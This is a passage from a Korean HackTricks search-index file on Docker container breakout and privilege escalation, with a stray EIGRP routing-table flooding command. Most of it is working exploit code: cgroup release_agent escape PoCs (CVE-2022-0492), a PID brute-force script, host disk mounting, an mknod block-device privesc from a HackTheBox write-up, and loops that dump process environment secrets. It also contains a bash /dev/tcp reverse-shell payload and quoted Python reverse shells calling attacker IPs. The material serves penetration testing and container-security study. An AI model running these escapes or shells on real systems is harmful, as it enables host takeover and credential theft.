/:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash tip docker 소켓이 예상치 못한 위치에 있는 경우 에도 docker 명령어와 매개변수 **-H unix:///path/to/docker.sock**를 사용하여 여전히 통신할 수 있습니다. Docker 데몬은 또한 포트에서 수신 대기할 수 있습니다 (기본값 2375, 2376) 또는 Systemd 기반 시스템에서는 Systemd 소켓 fd://를 통해 Docker 데몬과 통신할 수 있습니다. tip 추가로, 다른 고급 런타임의 런타임 소켓에 주의하세요: dockershim: unix:///var/run/dockershim.sock containerd: unix:///run/containerd/containerd.sock cri-o: unix:///var/run/crio/crio.sock frakti: unix:///var/run/frakti.sock rktlet: unix:///var/run/rktlet.sock ...","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Mounted Docker Socket Escape","id":"1624","title":"Mounted Docker Socket Escape"},"1625":{"body":"컨테이너의 권한을 확인해야 하며, 다음 중 하나라도 있다면 탈출할 수 있을 것입니다: CAP_SYS_ADMIN , CAP_SYS_PTRACE , CAP_SYS_MODULE , DAC_READ_SEARCH , DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN 현재 컨테이너 권한을 확인하려면 앞서 언급한 자동 도구 를 사용하거나: bash capsh --print 다음 페이지에서 리눅스 기능에 대해 더 알아보고 이를 악용하여 권한을 탈출/상승시키는 방법을 배울 수 있습니다: Linux Capabilities","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Capabilities Abuse Escape","id":"1625","title":"Capabilities Abuse Escape"},"1626":{"body":"특권 컨테이너는 --privileged 플래그를 사용하거나 특정 방어 기능을 비활성화하여 생성할 수 있습니다: --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host Mount /dev --privileged 플래그는 컨테이너 보안을 크게 낮추며, 제한 없는 장치 접근 을 제공하고 여러 보호 기능 을 우회합니다. 자세한 내용은 --privileged의 전체 영향에 대한 문서를 참조하십시오. Docker --privileged","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 특권 컨테이너에서 탈출","id":"1626","title":"특권 컨테이너에서 탈출"},"1627":{"body":"이 권한으로, 단순히 nsenter --target 1 --mount --uts --ipc --net --pid -- bash를 실행하여 루트로 호스트에서 실행 중인 프로세스의 네임스페이스로 이동할 수 있습니다 (init의 pid:1). 컨테이너에서 다음을 실행하여 테스트하십시오: bash docker run --rm -it --pid=host --privileged ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Privileged + hostPID","id":"1627","title":"Privileged + hostPID"},"1628":{"body":"privileged 플래그만으로도 호스트의 디스크에 접근 하거나 release_agent 또는 다른 탈출을 악용하여 탈출 을 시도할 수 있습니다. 다음 우회 방법을 컨테이너에서 실행하여 테스트하세요: bash docker run --rm -it --privileged ubuntu bash 디스크 마운트 - Poc1 잘 구성된 도커 컨테이너는 fdisk -l 과 같은 명령을 허용하지 않습니다. 그러나 --privileged 또는 대문자로 지정된 --device=/dev/sda1 플래그가 있는 잘못 구성된 도커 명령에서는 호스트 드라이브를 볼 수 있는 권한을 얻는 것이 가능합니다. 따라서 호스트 머신을 장악하는 것은 사소한 일입니다: bash mkdir -p /mnt/hola\\nmount /dev/sda1 /mnt/hola 그리고 voilà! 이제 /mnt/hola 폴더에 마운트되어 있기 때문에 호스트의 파일 시스템에 접근할 수 있습니다. 디스크 마운트 - Poc2 컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기본 호스트 OS에 대한 추가 접근을 시도할 수 있습니다. 아래는 이 공격 벡터를 활용할 수 있는지 확인하기 위해 컨테이너 내에서 확인할 수 있는 몇 가지 일반적인 사항입니다: bash ### Check if You Can Write to a File-system\\necho 1 > /proc/sysrq-trigger ### Check root UUID\\ncat /proc/cmdline\\nBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300 # Check Underlying Host Filesystem\\nfindfs UUID=\\n/dev/sda1 # Attempt to Mount the Host\'s Filesystem\\nmkdir /mnt-test\\nmount /dev/sda1 /mnt-test\\nmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. ### debugfs (Interactive File System Debugger)\\ndebugfs /dev/sda1 Privileged Escape 기존 release_agent 악용 ( cve-2022-0492 ) - PoC1 Initial PoC # spawn a new container to exploit via:\\n# docker run --rm -it --privileged ubuntu bash # Finds + enables a cgroup release_agent\\n# Looks for something like: /sys/fs/cgroup/*/release_agent\\nd=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`\\n# If \\"d\\" is empty, this won\'t work, you need to use the next PoC # Enables notify_on_release in the cgroup\\nmkdir -p $d/w;\\necho 1 >$d/w/notify_on_release\\n# If you have a \\"Read-only file system\\" error, you need to use the next PoC # Finds path of OverlayFS mount for container\\n# Unless the configuration explicitly exposes the mount point of the host filesystem\\n# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html\\nt=`sed -n \'s/overlay \\\\/ .*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab` # Sets release_agent to /path/payload\\ntouch /o; echo $t/c > $d/release_agent # Creates a payload\\necho \\"#!/bin/sh\\" > /c\\necho \\"ps > $t/o\\" >> /c\\nchmod +x /c # Triggers the cgroup via empty cgroup.procs\\nsh -c \\"echo 0 > $d/w/cgroup.procs\\"; sleep 1 # Reads the output\\ncat /o Privileged Escape Abusing created release_agent ( cve-2022-0492 ) - PoC2 Second PoC # On the host\\ndocker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # Mounts the RDMA cgroup controller and create a child cgroup\\n# This technique should work with the majority of cgroup controllers\\n# If you\'re following along and get \\"mount: /tmp/cgrp: special device cgroup does not exist\\"\\n# It\'s because your setup doesn\'t have the RDMA cgroup controller, try change rdma to memory to fix it\\nmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x\\n# If mount gives an error, this won\'t work, you need to use the first PoC # Enables cgroup notifications on release of the \\"x\\" cgroup\\necho 1 > /tmp/cgrp/x/notify_on_release # Finds path of OverlayFS mount for container\\n# Unless the configuration explicitly exposes the mount point of the host filesystem\\n# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html\\nhost_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab` # Sets release_agent to /path/payload\\necho \\"$host_path/cmd\\" > /tmp/cgrp/release_agent #For a normal PoC =================\\necho \'#!/bin/sh\' > /cmd\\necho \\"ps aux > $host_path/output\\" >> /cmd\\nchmod a+x /cmd\\n#===================================\\n#Reverse shell\\necho \'#!/bin/bash\' > /cmd\\necho \\"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1\\" >> /cmd\\nchmod a+x /cmd\\n#=================================== # Executes the attack by spawning a process that immediately ends inside the \\"x\\" child cgroup\\n# By creating a /bin/sh process and writing its PID to the cgroup.procs file in \\"x\\" child cgroup directory\\n# The script on the host will execute after /bin/sh exits\\nsh -c \\"echo \\\\$\\\\$ > /tmp/cgrp/x/cgroup.procs\\" # Reads the output\\ncat /output Docker release_agent cgroups escape Privileged Escape Abusing release_agent without known the relative path - PoC3 이전의 익스플로잇에서는 호스트 파일 시스템 내의 컨테이너의 절대 경로가 공개됩니다 . 그러나 항상 그런 것은 아닙니다. 호스트 내의 컨테이너의 절대 경로를 모르는 경우 이 기술을 사용할 수 있습니다: release_agent exploit - Relative Paths to PIDs bash #!/bin/sh OUTPUT_DIR=\\"/\\"\\nMAX_PID=65535\\nCGROUP_NAME=\\"xyx\\"\\nCGROUP_MOUNT=\\"/tmp/cgrp\\"\\nPAYLOAD_NAME=\\"${CGROUP_NAME}_payload.sh\\"\\nPAYLOAD_PATH=\\"${OUTPUT_DIR}/${PAYLOAD_NAME}\\"\\nOUTPUT_NAME=\\"${CGROUP_NAME}_payload.out\\"\\nOUTPUT_PATH=\\"${OUTPUT_DIR}/${OUTPUT_NAME}\\" # Run a process for which we can search for (not needed in reality, but nice to have)\\nsleep 10000 & # Prepare the payload script to execute on the host\\ncat > ${PAYLOAD_PATH} << __EOF__\\n#!/bin/sh OUTPATH=\\\\$(dirname \\\\$0)/${OUTPUT_NAME} # Commands to run on the host<\\nps -eaf > \\\\${OUTPATH} 2>&1\\n__EOF__ # Make the payload script executable\\nchmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller\\nmkdir ${CGROUP_MOUNT}\\nmount -t cgroup -o memory cgroup ${CGROUP_MOUNT}\\nmkdir ${CGROUP_MOUNT}/${CGROUP_NAME}\\necho 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses\\nTPID=1\\nwhile [ ! -f ${OUTPUT_PATH} ]\\ndo\\nif [ $((${TPID} % 100)) -eq 0 ]\\nthen\\necho \\"Checking pid ${TPID}\\"\\nif [ ${TPID} -gt ${MAX_PID} ]\\nthen\\necho \\"Exiting at ${MAX_PID} :-(\\"\\nexit 1\\nfi\\nfi\\n# Set the release_agent path to the guessed pid\\necho \\"/proc/${TPID}/root${PAYLOAD_PATH}\\" > ${CGROUP_MOUNT}/release_agent\\n# Trigger execution of the release_agent\\nsh -c \\"echo \\\\$\\\\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs\\"\\nTPID=$((${TPID} + 1))\\ndone # Wait for and cat the output\\nsleep 1\\necho \\"Done! Output:\\"\\ncat ${OUTPUT_PATH} 특권 컨테이너 내에서 PoC를 실행하면 다음과 유사한 출력이 제공되어야 합니다: bash root@container:~$ ./release_agent_pid_brute.sh\\nChecking pid 100\\nChecking pid 200\\nChecking pid 300\\nChecking pid 400\\nChecking pid 500\\nChecking pid 600\\nChecking pid 700\\nChecking pid 800\\nChecking pid 900\\nChecking pid 1000\\nChecking pid 1100\\nChecking pid 1200 Done! Output:\\nUID PID PPID C STIME TTY TIME CMD\\nroot 1 0 0 11:25 ? 00:00:01 /sbin/init\\nroot 2 0 0 11:25 ? 00:00:00 [kthreadd]\\nroot 3 2 0 11:25 ? 00:00:00 [rcu_gp]\\nroot 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]\\nroot 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]\\nroot 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]\\nroot 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]\\nroot 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]\\n... 권한 상승: 민감한 마운트 악용 여러 파일이 마운트되어 기본 호스트에 대한 정보를 제공 할 수 있습니다. 이 중 일부는 호스트가 어떤 일이 발생할 때 실행할 무언가를 나타낼 수 있습니다 (이는 공격자가 컨테이너에서 탈출할 수 있게 합니다). 이 파일의 악용은 다음을 허용할 수 있습니다: release_agent (이미 이전에 다룸) binfmt_misc core_pattern uevent_helper modprobe 그러나 이 페이지에서 확인할 수 있는 다른 민감한 파일 을 찾을 수 있습니다: Sensitive Mounts","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Privileged","id":"1628","title":"Privileged"},"1629":{"body":"여러 경우에 컨테이너가 호스트에서 일부 볼륨을 마운트하고 있는 것을 발견할 수 있습니다 . 이 볼륨이 올바르게 구성되지 않았다면 민감한 데이터에 접근/수정할 수 있을 수 있습니다: 비밀 읽기, ssh authorized_keys 변경… bash docker run --rm -it -v /:/host ubuntu bash 또 다른 흥미로운 예는 이 블로그 에서 찾을 수 있으며, 여기서는 호스트의 /usr/bin/ 및 /bin/ 폴더가 컨테이너 내부에 마운트되어 있어 컨테이너의 루트 사용자가 이러한 폴더 내의 바이너리를 수정할 수 있음을 나타냅니다. 따라서, 만약 크론 작업이 /etc/cron.d/popularity-contest와 같은 바이너리를 사용하고 있다면, 이는 크론 작업에서 사용되는 바이너리를 수정하여 컨테이너에서 탈출할 수 있게 합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 임의 마운트","id":"1629","title":"임의 마운트"},"163":{"body":"목표 : 수많은 잘못된 경로로 라우팅 테이블을 채워 라우터의 CPU와 RAM에 부담을 줍니다. 도구 : routingtableoverflow.py 스크립트. 실행 : %%%bash sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 %%% 매개변수 : --interface: 네트워크 인터페이스를 지정합니다. --as: EIGRP AS 번호를 정의합니다. --src: 공격자의 IP 주소를 설정합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » EIGRP Attacks » 라우팅 테이블 오버플로우 공격","id":"163","title":"라우팅 테이블 오버플로우 공격"},"1630":{"body":"호스트에서 마운트된 폴더가 있는 컨테이너 내부에서 root로 접근할 수 있고, 비특권 사용자로 호스트에 탈출했으며 마운트된 폴더에 대한 읽기 권한이 있는 경우, 컨테이너 내부의 마운트된 폴더 에 bash suid 파일 을 생성하고 호스트에서 실행 하여 권한 상승을 할 수 있습니다. bash cp /bin/bash . #From non priv inside mounted folder\\n# You need to copy it from the host as the bash binaries might be diferent in the host and in the container\\nchown root:root bash #From container as root inside mounted folder\\nchmod 4777 bash #From container as root inside mounted folder\\nbash -p #From non priv inside mounted folder","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 2개의 셸과 호스트 마운트를 이용한 권한 상승","id":"1630","title":"2개의 셸과 호스트 마운트를 이용한 권한 상승"},"1631":{"body":"컨테이너 내에서 root로 접근할 수 있고 비특권 사용자로 호스트에 탈출했다면 , 두 개의 셸을 악용하여 호스트 내에서 privesc를 수행할 수 있습니다. 컨테이너 내에서 MKNOD 권한이 있는 경우(기본적으로 활성화되어 있음) 이 포스트에서 설명된 대로 입니다. 이러한 권한을 통해 컨테이너 내의 root 사용자는 블록 장치 파일을 생성할 수 있습니다. 장치 파일은 기본 하드웨어 및 커널 모듈에 접근하는 데 사용되는 특수 파일 입니다. 예를 들어, /dev/sda 블록 장치 파일은 시스템 디스크의 원시 데이터를 읽는 데 접근을 제공합니다. Docker는 cgroup 정책을 시행하여 컨테이너 내에서 블록 장치 오용을 방지하며, 블록 장치 읽기/쓰기 작업을 차단 합니다. 그럼에도 불구하고, 블록 장치가 컨테이너 내에서 생성되면 , /proc/PID/root/ 디렉토리를 통해 컨테이너 외부에서 접근할 수 있게 됩니다. 이 접근은 프로세스 소유자가 컨테이너 내외부에서 동일해야 합니다. Exploitation 예시는 이 writeup 에서 확인할 수 있습니다: bash # On the container as root\\ncd /\\n# Crate device\\nmknod sda b 8 0\\n# Give access to it\\nchmod 777 sda # Create the nonepriv user of the host inside the container\\n## In this case it\'s called augustus (like the user from the host)\\necho \\"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash\\" >> /etc/passwd\\n# Get a shell as augustus inside the container\\nsu augustus\\nsu: Authentication failure\\n(Ignored)\\naugustus@3a453ab39d3d:/backend$ /bin/sh\\n/bin/sh\\n$ bash # On the host # get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user\\naugustus@GoodGames:~$ ps -auxf | grep /bin/sh\\nroot 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \\\\_ /bin/sh -c python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"10.10.14.12\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"sh\\")\'\\nroot 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \\\\_ /bin/sh -c python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"10.10.14.12\\",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"sh\\")\'\\naugustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \\\\_ /bin/sh\\naugustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \\\\_ grep /bin/sh # The process ID is 1659 in this case\\n# Grep for the sda for HTB{ through the process:\\naugustus@GoodGames:~$ grep -a \'HTB{\' /proc/1659/root/sda\\nHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Privilege Escalation with 2 shells","id":"1631","title":"Privilege Escalation with 2 shells"},"1632":{"body":"호스트의 프로세스에 접근할 수 있다면, 해당 프로세스에 저장된 많은 민감한 정보에 접근할 수 있게 됩니다. 테스트 실험실을 실행하세요: docker run --rm -it --pid=host ubuntu bash 예를 들어, ps auxn과 같은 명령어를 사용하여 프로세스를 나열하고 명령어에서 민감한 세부정보를 검색할 수 있습니다. 그런 다음, /proc/에서 호스트의 각 프로세스에 접근할 수 있으므로 env 비밀을 훔칠 수 있습니다 : bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done\\n/proc/988058/environ\\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\\nHOSTNAME=argocd-server-69678b4f65-6mmql\\nUSER=abrgocd\\n... 다른 프로세스의 파일 디스크립터에 접근하고 열린 파일을 읽을 수 있습니다 : bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \\\\>; done > fds.txt\\nless fds.txt\\n...omitted for brevity...\\nlrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0\\nlrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp\\n# You can open the secret filw with:\\ncat /proc/635813/fd/4 당신은 또한 프로세스를 종료하고 DoS를 유발할 수 있습니다 . warning 만약 당신이 컨테이너 외부의 프로세스에 대한 권한 있는 접근을 somehow 가지고 있다면 , nsenter --target --all 또는 nsenter --target --mount --net --pid --cgroup와 같은 명령을 실행하여 해당 프로세스와 동일한 ns 제한 (바라건대 없음) 으로 셸을 실행할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » hostPID","id":"1632","title":"hostPID"},"1633":{"body":"docker run --rm -it --network=host ubuntu bash 컨테이너가 Docker 호스트 네트워킹 드라이버 (--network=host) 로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않으며(컨테이너는 호스트의 네트워킹 네임스페이스를 공유함), 컨테이너는 자체 IP 주소를 할당받지 않습니다. 다시 말해, 컨테이너는 모든 서비스를 호스트의 IP에 직접 바인딩 합니다. 게다가 컨테이너는 호스트가 공유 인터페이스 tcpdump -i eth0에서 송수신하는 모든 네트워크 트래픽을 가로챌 수 있습니다 . 예를 들어, 이를 사용하여 호스트와 메타데이터 인스턴스 간의 트래픽을 스니핑하고 심지어 스푸핑 할 수 있습니다. 다음 예제와 같이: Writeup: How to contact Google SRE: Dropping a shell in cloud SQL Metadata service MITM allows root privilege escalation (EKS / GKE) 또한 호스트 내부의 로컬호스트에 바인딩된 네트워크 서비스 에 접근하거나 노드의 메타데이터 권한 에 접근할 수 있습니다(이는 컨테이너가 접근할 수 있는 것과 다를 수 있습니다).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » hostNetwork","id":"1633","title":"hostNetwork"},"1634":{"body":"bash docker run --rm -it --ipc=host ubuntu bash hostIPC=true를 설정하면 호스트의 프로세스 간 통신(IPC) 리소스에 접근할 수 있습니다. 예를 들어, /dev/shm의 공유 메모리 에 접근할 수 있습니다. 이는 동일한 IPC 리소스를 다른 호스트 또는 포드 프로세스가 사용할 때 읽기/쓰기가 가능하다는 것을 의미합니다. ipcs를 사용하여 이러한 IPC 메커니즘을 더 자세히 검사하십시오. /dev/shm 검사 - 이 공유 메모리 위치에서 파일을 찾아보십시오: ls -la /dev/shm 기존 IPC 시설 검사 – /usr/bin/ipcs를 사용하여 어떤 IPC 시설이 사용되고 있는지 확인할 수 있습니다. 다음과 같이 확인하십시오: ipcs -a","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » hostIPC","id":"1634","title":"hostIPC"},"1635":{"body":"시스템 호출 **unshare**가 금지되지 않았다면, 다음을 실행하여 모든 권한을 복구할 수 있습니다: bash unshare -UrmCpf bash\\n# Check them with\\ncat /proc/self/status | grep CapEff","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 권한 복구","id":"1635","title":"권한 복구"},"1636":{"body":"게시물 https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ 에서 설명된 두 번째 기술은 사용자 네임스페이스와 함께 바인드 마운트를 악용하여 호스트 내부의 파일에 영향을 미치는 방법을 나타냅니다(특정 경우에는 파일 삭제).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 사용자 네임스페이스 악용을 통한 심볼릭 링크","id":"1636","title":"사용자 네임스페이스 악용을 통한 심볼릭 링크"},"1637":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » CVE","id":"1637","title":"CVE"},"1638":{"body":"docker exec를 루트로 실행할 수 있는 경우(아마도 sudo를 사용하여), CVE-2019-5736을 악용하여 컨테이너에서 탈출하여 권한을 상승시키려고 시도합니다(취약점 여기 ). 이 기술은 기본적으로 컨테이너에서 호스트의 _ /bin/sh**_ 바이너리를 덮어씁니다 , 따라서 docker exec를 실행하는 모든 사용자가 페이로드를 트리거할 수 있습니다. 페이로드를 적절히 변경하고 go build main.go로 main.go를 빌드합니다. 결과 바이너리는 실행을 위해 도커 컨테이너에 배치되어야 합니다. 실행 시, [+] Overwritten /bin/sh successfully가 표시되면 호스트 머신에서 다음을 실행해야 합니다: docker exec -it /bin/sh 이것은 main.go 파일에 있는 페이로드를 트리거합니다. 자세한 정보는: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html tip 컨테이너가 취약할 수 있는 다른 CVE도 있으며, https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list 에서 목록을 찾을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Runc 취약점 (CVE-2019-5736)","id":"1638","title":"Runc 취약점 (CVE-2019-5736)"},"1639":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 도커 사용자 정의 탈출","id":"1639","title":"도커 사용자 정의 탈출"},"164":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » GLBP & HSRP Attacks","id":"164","title":"GLBP & HSRP Attacks"},"1640":{"body":"네임스페이스: 프로세스는 네임스페이스를 통해 다른 프로세스와 완전히 분리되어야 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용하여 탈출할 수 없습니다(기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 /proc를 통해 통신할 수 없음). 루트 사용자 : 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(그러나 권한은 제한적입니다). 능력 : 도커는 다음 능력을 남깁니다: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep 시스템 호출 : 루트 사용자가 호출할 수 없는 시스템 호출입니다(능력 부족 + Seccomp로 인해). 다른 시스템 호출은 탈출을 시도하는 데 사용될 수 있습니다. {{#tab name=\\"x64 syscalls\\"}}\\nyaml 0x067 -- syslog\\n0x070 -- setsid\\n0x09b -- pivot_root\\n0x0a3 -- acct\\n0x0a4 -- settimeofday\\n0x0a7 -- swapon\\n0x0a8 -- swapoff\\n0x0aa -- sethostname\\n0x0ab -- setdomainname\\n0x0af -- init_module\\n0x0b0 -- delete_module\\n0x0d4 -- lookup_dcookie\\n0x0f6 -- kexec_load\\n0x12c -- fanotify_init\\n0x130 -- open_by_handle_at\\n0x139 -- finit_module\\n0x140 -- kexec_file_load\\n0x141 -- bpf {{#endtab}} {{#tab name=\\"arm64 syscalls\\"}} 0x029 -- pivot_root\\n0x059 -- acct\\n0x069 -- init_module\\n0x06a -- delete_module\\n0x074 -- syslog\\n0x09d -- setsid\\n0x0a1 -- sethostname\\n0x0a2 -- setdomainname\\n0x0aa -- settimeofday\\n0x0e0 -- swapon\\n0x0e1 -- swapoff\\n0x106 -- fanotify_init\\n0x109 -- open_by_handle_at\\n0x111 -- finit_module\\n0x118 -- bpf {{#endtab}} {{#tab name=\\"syscall_bf.c\\"}} `c // From a conversation I had with @arget131\\n// Fir bfing syscalss in x64 #include \\n#include \\n#include \\n#include int main()\\n{\\nfor(int i = 0; i < 333; ++i)\\n{\\nif(i == SYS_rt_sigreturn) continue;\\nif(i == SYS_select) continue;\\nif(i == SYS_pause) continue;\\nif(i == SYS_exit_group) continue;\\nif(i == SYS_exit) continue;\\nif(i == SYS_clone) continue;\\nif(i == SYS_fork) continue;\\nif(i == SYS_vfork) continue;\\nif(i == SYS_pselect6) continue;\\nif(i == SYS_ppoll) continue;\\nif(i == SYS_seccomp) continue;\\nif(i == SYS_vhangup) continue;\\nif(i == SYS_reboot) continue;\\nif(i == SYS_shutdown) continue;\\nif(i == SYS_msgrcv) continue;\\nprintf(\\"Probando: 0x%03x . . . \\", i); fflush(stdout);\\nif((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))\\nprintf(\\"Error\\\\n\\");\\nelse\\nprintf(\\"OK\\\\n\\");\\n}\\n}\\n```","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » 도커 탈출 표면","id":"1640","title":"도커 탈출 표면"},"1641":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 자세한 내용은 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html 블로그 포트를 확인하세요. 이것은 요약입니다: 이 기술은 컨테이너 내에서 호스트 코드를 실행하는 방법 을 설명하며, Kata Containers 또는 특정 devicemapper 설정과 같이 호스트의 파일 시스템 경로를 숨기는 스토리지 드라이버 구성으로 인한 문제를 극복합니다. 주요 단계: 프로세스 ID (PID) 찾기: Linux 가상 파일 시스템의 /proc//root 심볼릭 링크를 사용하여 컨테이너 내의 모든 파일에 호스트의 파일 시스템을 기준으로 접근할 수 있습니다. 이는 호스트에서 컨테이너의 파일 시스템 경로를 알 필요를 우회합니다. PID 브루트 포스: 호스트의 PID를 검색하기 위해 브루트 포스 접근 방식이 사용됩니다. 이는 /proc//root/에서 특정 파일의 존재 여부를 순차적으로 확인함으로써 수행됩니다. 파일이 발견되면 해당 PID가 대상 컨테이너 내에서 실행 중인 프로세스에 속함을 나타냅니다. 실행 트리거: 추측한 PID 경로가 cgroups release_agent 파일에 기록됩니다. 이 작업은 release_agent의 실행을 트리거합니다. 이 단계의 성공은 출력 파일의 생성 여부를 확인하여 확인됩니다. 익스플로잇 과정은 컨테이너 내에서 실행 중인 프로세스의 올바른 PID를 추측하여 호스트에서 페이로드를 실행하는 것을 목표로 하는 보다 자세한 일련의 작업을 포함합니다. 다음은 그 전개 방식입니다: 환경 초기화: 호스트에서 페이로드 스크립트(payload.sh)가 준비되고, cgroup 조작을 위한 고유한 디렉토리가 생성됩니다. 페이로드 준비: 호스트에서 실행될 명령을 포함하는 페이로드 스크립트가 작성되고 실행 가능하게 설정됩니다. Cgroup 설정: cgroup이 마운트되고 구성됩니다. notify_on_release 플래그가 설정되어 cgroup이 해제될 때 페이로드가 실행되도록 합니다. PID 브루트 포스: 잠재적인 PID를 반복하여 추측한 각 PID를 